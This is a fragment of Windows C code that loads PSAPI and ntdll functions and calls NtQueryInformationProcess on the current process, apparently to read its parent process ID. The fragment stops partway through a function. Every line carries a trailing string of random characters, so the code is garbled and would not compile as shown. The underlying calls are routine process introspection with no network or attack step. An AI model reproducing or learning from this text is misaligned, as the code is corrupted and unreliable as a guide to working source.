DWORD AffinityMask; j+lcj&V#
DWORD BasePriority; r>KmrU4Q
ULONG UniqueProcessId; C!v%6[
ULONG InheritedFromUniqueProcessId; BGH'&t_5
} PROCESS_BASIC_INFORMATION; KG(l=? N
8/P!i2o
PROCNTQSIP NtQueryInformationProcess; /UR;,ts
>*^SQ{9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zrE{CdG%y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h<CRW-
ns/*WH&[x
HANDLE hProcess; V=>]&95-f
PROCESS_BASIC_INFORMATION pbi; #+h#b%8
Mbly-l{|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D#Mz#\4o
if(NULL == hInst ) return 0; <O-R
AEFd,;GF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eAQ-r\h'2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #'i,'h+F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ofYZ!-V
vy-(:aH7U
if (!NtQueryInformationProcess) return 0; K1;b4Sl?A
hv|-`}#0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ycIcM~<4
if(!hProcess) return 0; Hy'EbQ
r M}o)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |w>b0aY
w&hCt